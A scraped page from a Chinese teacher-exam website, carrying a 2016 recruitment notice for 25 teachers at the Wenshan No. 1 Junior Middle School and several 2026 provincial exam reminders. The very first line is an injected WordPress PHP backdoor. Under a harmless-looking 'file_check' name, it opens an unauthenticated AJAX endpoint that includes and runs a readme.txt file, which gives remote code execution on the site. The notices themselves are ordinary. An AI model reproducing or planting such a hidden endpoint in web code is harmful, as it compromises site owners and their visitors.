if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
文山市第一初级中学2016年教师招聘公告-全国教师资格考试网

文山市第一初级中学2016年教师招聘公告

根据文山市第一初级中学学区化办学方案,经中共文山市委、市人民政府批准,面向全州公开选调在职在编教师25名。现将有关事项公告如下:

一、选调的原则

坚持德才兼备、以德为先的用人标准,贯彻公开、平等、竞争、择优的原则。

二、选调范围及对象

选调教师25名。其中:语文教师5名、数学教师5名、英语教师5名、体育教师2名、物理教师2名、政治教师1名、历史教师1名、地理教师1名、生物教师1名、音乐教师1名、美术教师1名。

三、选调条件

(一)基本条件

1.坚持四项基本原则,拥护党的路线、方针、政策,拥护中华人民共和国宪法,无违法违纪行为。

2.具有良好的道德品行。

3.具有正常履行职责的身体条件。

4.具有符合岗位要求的学历和工作能力。

5.具备选调岗位所需的相应条件。

6.必须经所在单位及主管部门同意。

(二)具体条件

1.具有与所报考岗位学科一致的国民教育系列大学本科及其以上学历;具有与所报考学科相对应的初级中学及以上教师资格证。

2.普通话要求达到二级乙等及以上水平。

3.年度考核均在合格及以上等次。

4.年龄在35周岁及以下(即1981年7月30日及以后出生)

(三)不符合参加公开选调的情形

1.工作未满五年的新招聘人员。

2.受过刑事处罚或被劳动教养的。

3.涉嫌违纪违法正在接受审查尚未做出结论的,受党政纪处分期限未满的。

4.法律法规规定的不能参加选调的其他情形。

四、选调的程序

(一)报名

1.时间2016年7月29日至7月30日(上午8:00—11:30,下午2:30—5:30),报名时同时进行资格初审,所有岗位不受开考比例限制。

2.地点:文山市第一初级中学老校区校办室(建禾东路19号)。

3.报名方式:采取本人现场报名的办法,符合选调条件的人员应如实填写《文山市第一初级中学2016年公开选调教师报名表》并签字,加盖单位和主管部门公章。

该表可从文山人社网(www.ynwsrs.gov.cn)文山市人民政府网(www.37.gov.cn)下载。

4.报名要求:报名时应提供如下材料(按照所列顺序整理):报名表一式2份(空表可复印,须本人手工填写)、近期免冠小一寸彩色照片3张(2张贴报名表)、本人身份证、毕业证(有多个学历的需提供各层次的毕业证,非普通招生计划毕业生还需提交教育部门出具的学历验证报告、无学历认证报告的可暂时提供学信网打印的学历证书电子注册备案表代替,聘用前提交学历验证报告)、学位证、教师资格证、普通话水平等级证、专业技术职务资格证、履职考核登记证、有效期内的《事业单位聘用合同》、教育教学业绩(参加统测的学科教师可提供近三年的教学成绩证明)及教育科研成果有关的证明材料(获奖或受表彰)、骨干教师和学科带头人须提供县级(含县级)以上教育行政主管部门颁发的证书等相关证书、材料的原件和复印件各一份。

(二)资格审查:对报名者的选调条件进行现场资格审查,确定参加考试人员,资格审查合格人员名单于2016年8月1日在文山人社网、文山市三七之乡网站公示。

(三)考试方式

1.考试采用笔试和面试相结合的方式进行。

2.应聘教师在规定时间,分学科统一参加笔试。根据笔试成绩由高到低按岗位数1:3确定进入面试人员。

3.准考证领取:8月7日下午14:30至下午17:30到文山市第一初级中学老校区校办室领取。

(四)笔试

1.时间:2016年8月8日上午9:00—11:30。

2.地点:文山市第一初级中学老校区教学楼(建禾东路19号)。

3.分值:卷面分100分,占总成绩的30%。

4.注意事项:笔试时携带身份证和准考证。

5.笔试内容:教育法律法规、相关教育教学理论、学科专业知识及教学设计。

6.笔试成绩公布:2016年8月8日下午5点在文山市第一初级中学老校区公布。

(五)面试

1.时间:8月9日上午7:30至面试结束。

2.地点:文山市第一初级中学老校区教学楼(建禾东路19号)

3.注意事项:面试时携带笔试准考证及身份证。

4.分值:总分100分,占总成绩的70%。

5.面试内容:

应聘教师按抽签顺序参加讲课,音、体、美学科教师还须进行与学科内容有关的才艺展示。评委对应聘教师的讲课、才艺展示情况进行量化评分。

①音、体、美学科应聘教师:对所抽课题进行25分钟以内的讲课,占面试成绩的60%;说课结束后进行5—10分钟之内个人的才艺展示,占面试成绩的40%。

②其他学科应聘教师:对所抽课题进行25分钟以内的讲课。

(六)综合成绩

综合成绩=笔试成绩×30%+面试成绩×70%,综合成绩于8月10日在文山人社网、文山市三七之乡网站公示。综合成绩最低控制分数线为60分,达到最低控制分数线方能进入下一招聘程序。

(七)确定拟聘任人员

考试结束后,按照岗位公布考试综合成绩,学校根据各岗位的招聘计划数,按综合成绩从高分到低分依次择优拟聘,如综合成绩并列,无法确定人选的,按照面试成绩、笔试成绩的先后顺序依次确定;若仍然无法确定的,按市内、市外的先后顺序依次确定。并对拟聘情况进行公示。

(八)体检与考核

1.体检必须在县(市)级以上人民医院体检,体检费用由报考人员自理,体检标准参照《公务员录用体检通用标准(试行)》执行。体检时间另行通知。

2.考核工作由市人社局与市教育局采取审阅个人档案、复查资格条件等方式,重点对拟选调对象的思想政治、道德品质、遵纪守法、廉洁自律、能力素质等进行审核。同时要核实拟选调对象是否符合规定的报考资格条件,提供的报考信息和相关材料是否真实、准确等方面的情况。

3.确定进入下一选调程序的人员在规定时间内携带本人档案到文山市人力资源和社会保障局会议室(凤凰路市政务中心4楼)进行审阅。

4.体检、考核结果作为是否选调的依据。报考人员未在规定的时间内参加体检、体检或考核不合格、个人放弃等情况出现岗位空缺的,从报考该岗位综合成绩达到合格成绩分数线的其他人员中,按综合成绩从高到低顺延递补一次。

(九)公示

体检和考核通过的人员即为拟选调人员,名单将在文山人社网、文山市人民政府网公示,公示期7天。公示期有异议的,经调查核实属实的,不予选调。

(十)办理调动手续

公示期满无异议的,按干部人事管理权限及有关规定办理调动手续。在办理干部人事调动手续时,对报考者的资格条件、干部档案等进一步审核,条件不符的,取消选调资格。

五、其它事项

(一)成立由市人社局、教育局、用人单位等相关人员组成的工作领导小组,在选调过程中如遇特殊情况无法确定的,由领导小组研究确定。选调工作在市人社局、教育局的指导、监督下,由用人单位组织实施。选调工作有关人员与报考人员存在回避关系的实行回避。

(二)严禁弄虚作假,对违反规定和纪律要求的相关工作人员和应聘人员,按照有关规定严肃处理。

六、报名咨询及监督电话

咨询电话:

文山市人社局:0876-2629229

文山市教育局:0876-2143340

文山第一初级中学:0876-2127485

监督电话:

文山市教育局监审科:0876-2143323

文山市人力资源和社会保障局

文山市教育局

2016年7月22日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部